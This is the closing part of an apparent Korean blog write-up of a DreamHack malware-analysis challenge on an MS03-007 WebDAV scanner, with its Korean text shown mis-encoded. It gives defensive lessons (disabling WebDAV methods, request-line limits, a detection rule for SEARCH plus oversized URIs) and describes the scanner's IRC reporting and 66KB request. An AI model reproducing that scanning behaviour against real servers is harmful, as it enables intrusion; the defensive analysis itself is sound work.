  • ์•ˆ ์“ฐ๋Š” ํ”„๋กœํ† ์ฝœ ํ™•์žฅ์€ ๊บผ ๋‘”๋‹ค. MS03-007 ํŒจ์น˜๊ฐ€ ๋‚˜์˜ค๊ธฐ ์ „ ๋งˆ์ดํฌ๋กœ์†Œํ”„ํŠธ๊ฐ€ ๋จผ์ € ์•ˆ๋‚ดํ•œ ์™„ํ™”์ฑ…์ด WebDAV ๋น„ํ™œ์„ฑํ™”์˜€๋‹ค. 20๋…„์ด ์ง€๋‚œ ์ง€๊ธˆ๋„ ์›์น™์€ ๊ฐ™๋‹ค โ€” ์“ฐ์ง€ ์•Š๋Š” ๋ฉ”์„œ๋“œยท๋ชจ๋“ˆยทํ™•์žฅ์€ ๊ณต๊ฒฉ๋ฉด์ผ ๋ฟ์ด๋‹ค. ์š”์ฆ˜์ด๋ผ๋ฉด PUT/DELETE/PROPFIND/SEARCH ๊ฐ™์€ ๋ฉ”์„œ๋“œ๋ฅผ ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ์—์„œ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋กœ ์ž˜๋ผ๋‚ด๋Š” ๊ฒŒ ์ฒซ ์ค„์ด๋‹ค.
  • ์š”์ฒญ ๋ผ์ธ ๊ธธ์ด ์ƒํ•œ์„ ์•ž๋‹จ์—์„œ ๊ฑด๋‹ค. ์ด ์š”์ฒญ์€ URI๋งŒ 64KB๋‹ค. nginx์˜ large_client_header_buffers, Apache์˜ LimitRequestLine์ฒ˜๋Ÿผ ์•ž๋‹จ์—์„œ ์ƒํ•œ์„ ๋‘๋ฉด ์• ์ดˆ์— ๋’ค์ชฝ ํŒŒ์„œ๊นŒ์ง€ ๋‹ฟ์ง€ ์•Š๋Š”๋‹ค. ์ •์ƒ ํŠธ๋ž˜ํ”ฝ์— 64KB์งœ๋ฆฌ URI๋Š” ์—†๋‹ค.
  • SEARCH์ฒ˜๋Ÿผ ๋“œ๋ฌธ ๋ฉ”์„œ๋“œ๋Š” ๊ทธ ์ž์ฒด๋กœ ํƒ์ง€ ์‹ ํ˜ธ๋‹ค. ์ด ์ฝ”๋“œ๋Š” IRC๋กœ scanning ip %s:80.์„ ํ˜๋ฆฌ๊ณ  ํ‘œ์ ๋งˆ๋‹ค ๋˜‘๊ฐ™์€ 66KB ์š”์ฒญ์„ ์œ๋‹ค. ์•ก์„ธ์Šค ๋กœ๊ทธ์—์„œ ๋น„ํ‘œ์ค€ ๋ฉ”์„œ๋“œ + ๋น„์ •์ƒ์ ์œผ๋กœ ๊ธด URI ์กฐํ•ฉ์€ ์˜คํƒ์ด ๊ฑฐ์˜ ์—†๋Š” ๋ฃฐ์ด ๋œ๋‹ค. ์‘๋‹ต์ด ์˜ค๋ฉด ์‹คํŒจ๋กœ ์น˜๊ณ  ๋„˜์–ด๊ฐ€๋Š” ๊ตฌํ˜„์ด๋ผ, ์ฐจ๋‹จ๋งŒ ํ•ด๋„ ์Šค์บ๋„ˆ ์ชฝ์—์„œ๋Š” ๊ทธ๋ƒฅ "์‹คํŒจํ•œ ํ‘œ์ "์ด ๋œ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 4] php.ini ํ•œ ์ค„๋กœ SQL Injection ์ด ๋ง‰ํžˆ๋˜ ์‹œ์ ˆ โ€” DreamHack [CodeEngn] Malware L04 ํ’€์ด
blog

[๐Ÿฅˆ Silver 4] php.ini ํ•œ ์ค„๋กœ SQL Injection ์ด ๋ง‰ํžˆ๋˜ ์‹œ์ ˆ โ€” DreamHack [CodeEngn] Malware L04 ํ’€์ด

๋ฐฐํฌ ํŒŒ์ผ์ด ์•„์˜ˆ ์—†๊ณ  ๋‘ ์ค„์งœ๋ฆฌ ์งˆ๋ฌธ๋งŒ ์žˆ๋‹ค. "APM ์‚ฌ์ดํŠธ๊ฐ€ SQL Injection ๊ณต๊ฒฉ์„ ๋ฐ›๋Š” ์ค‘์ธ๋ฐ PHP ์„ค์ •ํŒŒ์ผ์—์„œ ์–ด๋–ค ์˜ต์…˜์„ ์ผœ์•ผ ์•ˆ์ „ํ•œ๊ฐ€." ๋‹ต์€ ์•Œ๊ฒ ๋Š”๋ฐ ๊ทผ๊ฑฐ๊ฐ€ ์–‡์•„์„œ, ๊ทธ ์˜ต์…˜์ด ์‹ค์ œ๋กœ ๋™์ž‘ํ•˜๋Š” ๋งˆ์ง€๋ง‰ ์„ธ๋Œ€์ธ Debian 6 (Apache 2.2 / PHP 5.3.3 / MySQL 5.1) ์„ ๋„์ปค๋กœ ์„ธ์›Œ Off/On ์„ ๋Œ€์กฐํ–ˆ๋‹ค. ๋‘ ์ข…๋ฅ˜์˜ ์ธ์ ์…˜์ด ์‹ค์ œ๋กœ ๋ง‰ํžˆ๊ณ , ๊ทธ๋Ÿผ์—๋„ ์ˆซ์ž ํŒŒ๋ผ๋ฏธํ„ฐ์™€ GBK ์šฐํšŒ๋Š” ๊ทธ๋Œ€๋กœ ํ†ต๊ณผํ•œ๋‹ค.
#dreamhack#ctf#misc+7
2026-08-19#dreamhack +4
[๐Ÿฅ‰ Bronze 1] 31์ค„ ๋ฐœ์ทŒ๋ณธ์ด base64 ์ธ์ฝ”๋”๋ผ๋Š” ๊ฑธ ์ฆ๋ช…ํ•˜๊ธฐ โ€” DreamHack [CodeEngn] Malware L05 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] 31์ค„ ๋ฐœ์ทŒ๋ณธ์ด base64 ์ธ์ฝ”๋”๋ผ๋Š” ๊ฑธ ์ฆ๋ช…ํ•˜๊ธฐ โ€” DreamHack [CodeEngn] Malware L05 ํ’€์ด

์•…์„ฑ์ฝ”๋“œ ์†Œ์Šค 31์ค„๋งŒ ์ฃผ๊ณ  "๋ฌด์—‡์„ ํ•˜๋Š” ํ•จ์ˆ˜์ธ๊ฐ€"๋ฅผ ๋ฌป๋Š”๋‹ค. ํ‘œ์ค€ ์•ŒํŒŒ๋ฒณ 64์ž์™€ 6๋น„ํŠธ ๋งˆ์Šคํฌ๊ฐ€ ๋ณด์ด๋‹ˆ base64 ๊ฐ™์€๋ฐ, ๋ˆˆ์œผ๋กœ ์ฐ๋Š” ๋Œ€์‹  ๊ฐ€๋ ค์ง„ ๋‘ ์ค„์„ ์ฑ„์›Œ ์ปดํŒŒ์ผํ•˜๊ณ  ์ž…๋ ฅ 304์ข…์„ ํ‘œ์ค€๊ณผ ๋ฐ”์ดํŠธ ๋‹จ์œ„๋กœ ๋งž์ถฐ ๋ดค๋‹ค. ๋ค์œผ๋กœ ์ด ๊ตฌํ˜„์ด 3์˜ ๋ฐฐ์ˆ˜ ์•„๋‹Œ ๊ธธ์ด์—์„œ ํ„ฐ์ง€๊ณ  76์—ด ๊ทœ๊ฒฉ๋„ ์–ด๊ธด๋‹ค๋Š” ๊ฒƒ๊นŒ์ง€ ์‹ค์ธกํ–ˆ๋‹ค.
#dreamhack#ctf#misc+6
2026-08-19#dreamhack +4
[๐Ÿฅ‰ Bronze 1] ํ—ค๋”์— ๋ฐ•ํžˆ๋Š” ๋‘ ๋ฐ”์ดํŠธ โ€” DreamHack [CodeEngn] Malware L03 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] ํ—ค๋”์— ๋ฐ•ํžˆ๋Š” ๋‘ ๋ฐ”์ดํŠธ โ€” DreamHack [CodeEngn] Malware L03 ํ’€์ด

์•…์„ฑ์ฝ”๋“œ ์†Œ์Šค 10์ค„์„ ๋˜์ ธ ์ฃผ๊ณ  "๋ฌด์—‡์„ ํ•˜๋Š” ํ•จ์ˆ˜์ธ๊ฐ€"๋งŒ ๋ฌป๋Š”๋‹ค. ๋ชจ์–‘์€ ์ธํ„ฐ๋„ท ์ฒดํฌ์„ฌ์ธ๋ฐ, ๋ชจ์–‘๋งŒ ๋ณด๊ณ  ๋‹ต์„ ์ฐ๊ธฐ์—” ๊ทผ๊ฑฐ๊ฐ€ ์–‡๋‹ค. ๊ทธ๋ž˜์„œ ๋ฐฐํฌ๋ณธ์„ ํ•œ ๊ธ€์ž๋„ ์•ˆ ๊ณ ์น˜๊ณ  ์ปดํŒŒ์ผํ•ด tcpdump ๋กœ ์žก์€ ์ง„์งœ ํŒจํ‚ท์˜ ์ฒดํฌ์„ฌ ์ž๋ฆฌ 12๊ณณ๊ณผ ๋งž์ถฐ ๋ดค๋‹ค. ์ „๋ถ€ ์ผ์น˜ํ–ˆ๊ณ , ๋ค์œผ๋กœ ์ด ๋ฐœ์ทŒ๋ณธ์ด ๊ทœ๊ฒฉ์—์„œ ์–ด๊ธ‹๋‚˜๋Š” ์ž๋ฆฌ ์„ธ ๊ตฐ๋ฐ๊ฐ€ ๋‚˜์™”๋‹ค.
#dreamhack#ctf#misc+6
2026-08-19#dreamhack +4